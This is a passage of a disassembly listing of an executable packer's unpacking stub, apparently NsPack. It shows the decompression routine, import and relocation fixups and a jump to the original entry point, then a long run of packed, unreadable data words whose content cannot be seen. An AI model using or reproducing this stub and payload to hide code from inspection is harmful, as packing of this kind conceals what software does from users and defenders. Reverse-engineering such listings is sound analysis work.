		jmp	short loc_4931F7
; ---------------------------------------------------------------------------


loc_4931E1:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_4931EB:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_493224
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_4931F7:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-0A7h]
		push	dword ptr [ebp-0ABh]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-11Bh]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_493224
		add	ebx, 8
		jmp	short loc_4931EB
; ---------------------------------------------------------------------------


loc_493224:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-11Bh]
		call	dword ptr [ebp-0A7h]
		lea	esi, [ebp-113h]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_49328B


loc_49324C:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_493251:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_49324C
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_493271
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_49324C
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_49327B
; ---------------------------------------------------------------------------


loc_493271:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_49327B:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_493251


loc_49328B:				; CODE XREF: start+F7j
		call	sub_4933CA
		lea	ecx, [ebp-0FFh]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_493323
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_493323
		mov	[ecx+10h], esi
		lea	esi, [ebp-0CFh]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_4932C8
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_4932D0
; ---------------------------------------------------------------------------


loc_4932C8:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_4932D0:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_4932F9
		cmp	al, 0EFh
		ja	short loc_4932E3


loc_4932DD:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_4932D0
; ---------------------------------------------------------------------------


loc_4932E3:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_4932DD
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_4932DD
; ---------------------------------------------------------------------------


loc_4932F9:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_493323


loc_493304:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_493311
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_493304
; ---------------------------------------------------------------------------


loc_493311:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_493316:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_493323
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_493316
; ---------------------------------------------------------------------------


loc_493323:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-143h]
		mov	edx, [esi]
		lea	esi, [ebp-0E7h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_493376
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-0AFh]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_493513
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-0AFh]


loc_493376:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 8
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_4933AF
		inc	ebx
		lea	esi, [ebp-143h]
		mov	edx, [esi]


loc_493390:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-0AFh]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_493390


loc_4933AF:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_4933C3
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4933C3:				; CODE XREF: start+264j
		popa
		popf
		jmp	loc_490E6E
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4933CA	proc near		; CODE XREF: start:loc_49328Bp
		mov	esi, [ebp-14Bh]
		or	esi, esi
		jz	loc_49346F
		mov	edx, [ebp-143h]
		add	esi, edx


loc_4933E0:				; CODE XREF: sub_4933CA+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_4933F3
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4933F3
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4933F3
		jmp	short loc_49346D
; ---------------------------------------------------------------------------


loc_4933F3:				; CODE XREF: sub_4933CA+19j
					; sub_4933CA+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-73h]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-0B7h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_49346F
		mov	[ebp-13Bh], eax
		add	edi, [esi]
		add	esi, 4


loc_493421:				; CODE XREF: sub_4933CA+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_49342D
		inc	esi
		jmp	short loc_4933E0
; ---------------------------------------------------------------------------


loc_49342D:				; CODE XREF: sub_4933CA+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_493441
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_493441:				; CODE XREF: sub_4933CA+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-13Bh]
		call	dword ptr [ebp-0B3h]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_49346F
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_493421
; ---------------------------------------------------------------------------


loc_49346D:				; CODE XREF: sub_4933CA+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_49346F:				; CODE XREF: sub_4933CA+8j
					; sub_4933CA+4Aj ...
		jmp	loc_493513
sub_4933CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493474	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0049350F SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_493480:				; CODE XREF: sub_493474+12j
		movsb


loc_493481:				; CODE XREF: sub_493474+34j
					; sub_493474+7Dj
		call	sub_4934F3
		jnb	short loc_493480
		xor	ecx, ecx
		call	sub_4934F3
		jnb	short loc_4934AA
		xor	eax, eax
		call	sub_4934F3
		jnb	short loc_4934BB
		mov	al, 10h


loc_49349C:				; CODE XREF: sub_493474+2Fj
		call	sub_4934F3
		adc	al, al
		jnb	short loc_49349C
		jnz	short loc_4934E8
		stosb
		jmp	short loc_493481
; ---------------------------------------------------------------------------


loc_4934AA:				; CODE XREF: sub_493474+1Bj
		call	sub_4934FF
		dec	ecx
		loop	loc_4934C7
		mov	eax, ebp
		call	sub_4934FD
		jmp	short loc_4934E9
; ---------------------------------------------------------------------------


loc_4934BB:				; CODE XREF: sub_493474+24j
		lodsb
		shr	eax, 1
		jz	short loc_49350F
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_4934E9
; ---------------------------------------------------------------------------


loc_4934C7:				; CODE XREF: sub_493474+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_4934FD
		cmp	eax, 7D00h
		jnb	short loc_4934E7
		cmp	eax, 500h
		jnb	short loc_4934E8
		cmp	eax, 7Fh
		ja	short loc_4934E9


loc_4934E7:				; CODE XREF: sub_493474+65j
		inc	ecx


loc_4934E8:				; CODE XREF: sub_493474+31j
					; sub_493474+6Cj
		inc	ecx


loc_4934E9:				; CODE XREF: sub_493474+45j
					; sub_493474+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_493481
sub_493474	endp


; =============== S U B	R O U T	I N E =======================================



sub_4934F3	proc near		; CODE XREF: sub_493474:loc_493481p
					; sub_493474+16p ...
		add	dl, dl
		jnz	short locret_4934FC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4934FC:				; CODE XREF: sub_4934F3+2j
		retn
sub_4934F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4934FD	proc near		; CODE XREF: sub_493474+40p
					; sub_493474+5Bp
		xor	ecx, ecx
sub_4934FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4934FF	proc near		; CODE XREF: sub_493474:loc_4934AAp
		inc	ecx


loc_493500:				; CODE XREF: sub_4934FF+Dj
		call	sub_4934F3
		adc	ecx, ecx
		call	sub_4934F3
		jb	short loc_493500
		retn
sub_4934FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_493474


loc_49350F:				; CODE XREF: sub_493474+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_493474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_493513:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-0A3h]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_49352F
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_49352F:				; CODE XREF: .nsp1:00493523j
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_49355E
; ---------------------------------------------------------------------------
		db 58h
		dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
		db 0C1h, 0E2h
; ---------------------------------------------------------------------------


loc_49355E:				; CODE XREF: .nsp1:0049354Dj
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h
		dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
		dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh,	1D83E82Bh
		dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
		dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh,	4F97F28Ch
		dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
		dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
		dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
		dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
		dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
		dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh,	0E8DB8594h
		dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
		dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
		dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h,	0D98BC97Dh
		dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
		dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h,	61C98824h
		dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
		dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
		dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
		dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
		dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
		dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
		dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
		dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
		dd 6A11EB08h, 48EF840h,	0A213A102h, 0D2D2100Ch,	4ABE2C67h
		dd 813F938h, 41F1544Eh,	0C8030C4Dh, 70473324h, 52A4F1B8h
		dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
		dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h,	0DB325A05h
		dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh,	0E958020Dh
		dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
		dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h,	207D8EA3h
		dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
		dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h,	0FD446455h
		dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
		dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
		dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
		dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h,	8A1C9AF8h
		dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
		dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh,	0E894C233h
		dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
		dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
		dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh,	912BC09Dh
		dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
		dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
		dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
		dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
		dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
		dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
		dd 4F8D997h, 4C7CB424h,	58247D03h, 0F25194D8h, 624073Dh
		dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h,	0FB2391D6h
		dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
		dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
		dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
		dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
		dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h,	854A4009h
		dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h,	0B5905582h
		dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
		dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h,	0E9440762h
		dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
		dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
		dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
		dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
		dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h,	2420651Dh
		dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
		dd 0F8C41E5Fh, 80B90153h, 0
		dd 5D00h, 0FBF00020h, 20000000h, 9, 0FFFFFD6Fh,	47FFB7A3h
		dd 7215483Eh, 0B8516139h, 0A3E62892h, 0EEF90786h, 0D3821EE4h
		dd 3C3AC52Fh, 7EB14B01h, 4D8A8AC9h, 0D90DA32Fh,	8CE3A67Fh
		dd 0E0531123h, 75C51859h, 0F877E28Ah, 0C7F94B6h, 74DEC06Ah
		dd 0E9E26449h, 4B2535Ch, 0C44F7D8h, 6D0D5FABh, 0C3E5E946h
		dd 96B78876h, 4DB6AC57h, 6F1D69E1h, 10884BFBh, 88CB426Ch
		dd 8F005C3Fh, 26AF4ED0h, 1F719428h, 0E1248F3Dh,	23A79E70h
		dd 0CB28EC5Fh, 9895D185h, 0C617A8Ah, 1ACC7346h,	570D46A4h
		dd 22AED1F9h, 0ED5B4DFEh, 5F2C1B8Ah, 0C0FAB9CEh, 1358796Fh
		dd 3CFE18BDh, 941DFBC0h, 0A0CFAB51h, 3A78812Bh,	0DC1B00ADh
		dd 0F7BE9513h, 407BF1h,	12DFE79Fh, 27AAAC14h, 0B9B59DDFh
		dd 597FED96h, 12776FDAh, 574780E7h, 0DB062D33h,	0AA32F6A5h
		dd 0A0A2498Dh, 5D46F4C5h, 5DD068Dh, 1CF92360h, 60600925h
		dd 27FAB5h, 5CFDB8BFh, 0D26203D2h, 3A259C43h, 0CD68AD1Ah
		dd 9695E22Bh, 0B105F264h, 972107B3h, 942A2D05h,	0F31548A2h
		dd 0D5E7F8D0h, 9659CC6h, 0F64150Fh, 98AB9C39h, 0B62361E0h
		dd 1F6A47Bh, 0FEB20242h, 0D970E7DDh, 0A8A0C019h, 2C9FD2CBh
		dd 0EA606D69h, 0DA198AB5h, 73103364h, 3FF3987Dh, 0FEED48Ah
		dd 0C61662BEh, 81953FD8h, 86A9BE45h, 0DD48C604h, 8389DB3Ch
		dd 37440B9Fh, 1F9505F1h, 6D6EAB55h, 0AA78E7BEh,	2768B6F5h
		dd 780FC01Bh, 83E9B6C0h, 1F3FBE0Bh, 88376029h, 0F97A437Dh
		dd 518055E2h, 0C89F4119h, 7E791EFAh, 1D097BF1h,	0AD1E9CD3h
		dd 6CD3FF25h, 44E49982h, 2E12445Ch, 0C9131746h,	0E36903FEh
		dd 0B1300F80h, 0E49568Dh, 2C9F6354h, 4AFDCBF8h,	0FD21898Fh
		dd 5E719419h, 7C2BB328h, 5D169937h, 3837D06Fh, 0D1266F23h
		dd 81CAC6EAh, 0F3C76FD8h, 0A1497BC7h, 0E04A98AEh, 3A86CFBEh
		dd 2A5F1824h, 66FCFFCBh, 83A948FDh, 0B4A7AA73h,	873AB2D4h
		dd 46E29DCAh, 5BD679C8h, 0C282E77Dh, 0B2B46828h, 4101D864h
		dd 1C0F0062h, 18A3B9E1h, 0E9D573ABh, 4CBB6FC7h,	0B8E31053h
		dd 88096715h, 0CF0F6191h, 0D31924DDh, 3CAADCE2h, 8638B2B5h
		dd 5ADF833Bh, 3DFD451Eh, 0DBCA70A3h, 0ECE1392Eh, 0BB5BD531h
		dd 0F642FDEFh, 0B93BEEE6h, 0D23D9D00h, 0B6046FA4h, 0B5C0F473h
		dd 5DABD8F1h, 0F4094374h, 176ECF49h, 0AFCC2CA3h, 24A427D9h
		dd 16C16123h, 3B870E0Bh, 0DB8E5882h, 0F6B24EE0h, 0A7FA7257h
		dd 307431CEh, 0C739BA58h, 3A43F07Fh, 330AC810h,	0C99529F4h
		dd 0D9FFBDD3h, 0AB27149Ch, 0BFED73DFh, 28FE5343h, 91F06823h
		dd 8894A337h, 574782EBh, 8596F0C0h, 0A961AF04h,	75C14041h
		dd 0B595E263h, 0FF2A1837h, 0CCD2A851h, 872CD094h, 0DC29057Dh
		dd 0F0FD540h, 69AAAC61h, 0C8F8317h, 0E2B5C66Fh,	0B13C9EC8h
		dd 4A30490Fh, 68716A28h, 5095175Ch, 0B6160F3Ah,	412140ADh
		dd 59AC5EDEh, 0E661185h, 0B987C9DEh, 7FB50B2Bh,	0F01CB6C5h
		dd 4DCCB86Fh, 0FAA90E35h, 7707030Eh, 46CD1ED4h,	0E356B8C7h
		dd 0F79E8827h, 0DE9B22C1h, 0F4B1FE3Fh, 123CA783h, 87555C9h
		dd 88D4BA92h, 53131520h, 8B6611C5h, 560D493h, 0BC9D908Ah
		dd 3CC970BAh, 0DD418439h, 80365C3Bh, 9C4AB7BEh,	7F5E1411h
		dd 0BB2B61CAh, 73E2409Fh, 0E54AD096h, 45FFB548h, 0F88308C2h
		dd 5F4A7F48h, 0E1840D9Bh, 0BEBAE8BBh, 385F4CB9h, 28CC888Ah
		dd 94B3252Ah, 8897110Dh, 0B8EF5917h, 1467E01Fh,	31F3E03Fh
		dd 0E9C0047Ch, 0CF513224h, 0B22986Eh, 5DA4EC83h, 2641FB44h
		dd 0C324A994h, 18318168h, 6D874C48h, 183C308Dh,	38BAD813h
		dd 1B4EFDD9h, 98A2FE0Dh, 8FE4C711h, 0D7E28AE1h,	0D2247F1Fh
		dd 0A27F4231h, 0B96FE2A1h, 87D549EDh, 0CF989F3Fh, 8FF5C1Dh
		dd 41BB0012h, 92A438A2h, 770A3A9Dh, 8EC61620h, 0B40E5354h
		dd 18D4896Ch, 0FCC3F80h, 0F64E749Bh, 3960398Ah,	0E054AB41h
		dd 0E1B5227Dh, 0D2369573h, 53588731h, 0C1349D32h, 0AB01E65Eh
		dd 93790699h, 5B5EA176h, 5F08593Ch, 0CAA00AF9h,	0B05C0F86h
		dd 4FD14E9Eh, 66F3C931h, 32E795DEh, 39AA7694h, 0B79F9F3Ah
		dd 4EF87A85h, 0FBD6F07Fh, 0A6881280h, 9322A075h, 0AD7D0041h
		dd 0E306E3D3h, 0CE8811D9h, 7E383BDAh, 0E3E0A7F5h, 0CFDCD802h
		dd 0FA4E646h, 0A24C6521h, 0A6C03603h, 2CFDC650h, 47B70C83h
		dd 924AD2DAh, 0E747D092h, 0A3CD86FDh, 16B1A989h, 754FEA4Dh
		dd 97504D2Dh, 6C09ECC0h, 770F4DC2h, 0EDF9A482h,	0B9D2447Ch
		dd 80294984h, 53F33B4Ah, 0D13189EEh, 2C685922h,	986EB952h
		dd 0B37B37FBh, 3E53177Fh, 0CD8B0FD0h, 0D5A61D0Bh, 5E613084h
		dd 2F55DF91h, 2CDF20C7h, 0AEE00C99h, 8A012A08h,	0C546E40Fh
		dd 0CED54894h, 0C10F5B53h, 0DDA02654h, 0B5B39AFDh, 4DADDA47h
		dd 3790BC3Dh, 3D4D11E2h, 73303D5Ah, 7FBE15A8h, 675CE87Ch
		dd 4ADC6041h, 8EFA7EA6h, 1EA1FEA1h, 41B3A9h, 71F6C835h
		dd 747DC402h, 5291C65Ch, 885B8E9h, 0E94CFC6Fh, 7DBF7B37h
		dd 10E3F634h, 6AD7E388h, 68402D2Fh, 0C182CE67h,	3B99257Dh
		dd 0F5694670h, 0E7150BF6h, 0D5B03625h, 64A5ACA1h, 9CD9D94h
		dd 5FCAAD9Dh, 0AEEB5ACDh, 57212EB9h, 7DE5D142h,	365B9C25h
		dd 5B4B7216h, 0CEA64F51h, 0C2E7A477h, 73A9C4C4h, 0D2E818CEh
		dd 60CC1B1Bh, 7D1D9B4Bh, 7F3E901Dh, 5547110Bh, 75073Ah
		dd 0C5751EB9h, 970C75EEh, 0B1FAB91Bh, 59D96DB1h, 3AAB28E9h
		dd 83737629h, 9AE793C3h, 0DCD43B55h, 9D272EB2h,	3ED23919h
		dd 36979B5Eh, 0A8150D7Eh, 51A3F3A5h, 6E9E7CA9h,	0EA919467h
		dd 0D67D0DBDh, 4BC4E4D3h, 8D82B4E8h, 850B2375h,	69E93E39h
		dd 60FFE11Dh, 0F085339Eh, 2A9F48A0h, 0AD14FC95h, 0D2BC47FFh
		dd 906DC7B1h, 6ACAFA0Ch, 0C549373Fh, 808E6A52h,	9D4B19E7h
		dd 54CCDD29h, 28CC3DF1h, 2A2F4DAAh, 0FC4D84Eh, 0DAE4DE81h
		dd 8C6E81A8h, 13DF9AADh, 4E0C7819h, 7CAE3E2Ch, 15459F9Eh
		dd 19518742h, 825862E9h, 9AC59E90h, 0DDF36F73h,	5A9DC955h
		dd 0EAC8F2BEh, 0A3F4B7D1h, 0F29F4F89h, 74093A3h, 0C37CAF64h
		dd 0F2428C43h, 798F140Dh, 0DDEA7D91h, 18243A7Dh, 7BD05A1Fh
		dd 3AB0AE98h, 9718F47Ah, 4C7602B0h, 0DE1E3346h,	0AB11EA6h
		dd 2F94273Ah, 7922A33Dh, 262AEE94h, 16FFABD3h, 0EF7C360Ch
		dd 4A2E9372h, 0BAA37E2Eh, 35D300D3h, 8EAB66D0h,	0FE3B2F2Fh
		dd 69DE47F5h, 0B50F3E5Fh, 335B17B3h, 0FB0FA5EFh, 5B57D5FCh
		dd 4DCFC55Fh, 0E80498FEh, 0A7F3642Bh, 42EAAC73h, 0CD108DD5h
		dd 0A31E3AA2h, 2CC9893Eh, 0D64C5951h, 0C683CA6Ah, 7B56277h
		dd 374A4274h, 450399EEh, 0FCC808E7h, 8AE0887Ah,	4435E3D1h
		dd 32B2121Ah, 0D1C7D0D8h, 7A798612h, 5D9D5A4Eh,	2C59AA45h
		dd 0B93B93Ah, 529F529Ah, 0F345B796h, 87556112h,	0A1B5D4D0h
		dd 8F2FD9B9h, 0CB7128F2h, 0CE00D31Eh, 1E647653h, 918FA24Eh
		dd 0A31BC23Ah, 3304917Ah, 8E6D007Dh, 443D1AC8h,	0CFED0025h
		dd 4E5E019Ch, 144300E1h, 0BA22B437h, 64AEEE05h,	0DF6BA6F0h
		dd 84BCF7B3h, 9C63FE0Fh, 792EE27h, 6EC93D98h, 0F28CCB1Bh
		dd 6F41099h, 88A5F0A1h,	2FEE7FABh, 0E511C3AEh, 0A6F7E0E5h
		dd 9F91E4Dh, 0F0499469h, 3FEE0117h, 0EF3C103Ah,	7503BBF7h
		dd 1E4E3F89h, 90D71EADh, 0EFF9A115h, 2ED3C3E6h,	0F27E24Ah
		dd 0E0B0D6CBh, 0CC9BFC02h, 7DBACCF9h, 71D294C4h, 0D637EAFAh
		dd 0AACD3071h
		dd 36CCD542h, 9B97EBF4h, 5AD30A75h, 0F512BA6Bh,	869489ECh
		dd 0A14C0F0Eh, 6D46F16Ch, 9BC48E41h, 4B215BC9h,	485B236h
		dd 87817C8Eh, 1183096Dh, 1FF42894h, 4F2838DAh, 0BE6D27E5h
		dd 889F48FFh, 0DC13FBF7h, 9C50F873h, 0A4D91096h, 1D6B7129h
		dd 8B99DFE4h, 4D59DC28h, 73B292D0h, 4FC7EFF4h, 0B6D1FF70h
		dd 0FD214ED5h, 0B886A94Dh, 0DDD9DF50h, 0AB774472h, 833B8224h
		dd 4621CA88h, 1F544291h, 0BDFD9D7Bh, 556133E4h,	0BA564E9Dh
		dd 553D4ABFh, 2D036626h, 5AD18189h, 29E79A3h, 0B640E803h
		dd 9B299ACDh, 0C4323ED4h, 0C78E48EDh, 2953F99Ah, 0BD9D219Ch
		dd 4F272D05h, 0A8E1F659h, 44A9E810h, 11D29A94h,	0CEB3C657h
		dd 4F186C99h, 0A248CF33h, 75F2AFC3h, 9505715Dh,	65931307h
		dd 4D4D4A7h, 35D3D0DBh,	0C594B96Fh, 80464100h, 0A7BCB57Eh
		dd 14BFA80Ch, 93BD1718h, 0B14A8B67h, 0D3E63DF9h, 2C837EBDh
		dd 0B6A630C2h, 5830E0FAh, 0D9AD9A7Eh, 1DE7E473h, 423BFF95h
		dd 3869FC47h, 326FA090h, 59033378h, 0EF78F09Eh,	9FEB2106h
		dd 0B3BD147Ch, 0A1C0B339h, 92AC0E1Eh, 0A3273A12h, 0FB02A47Dh
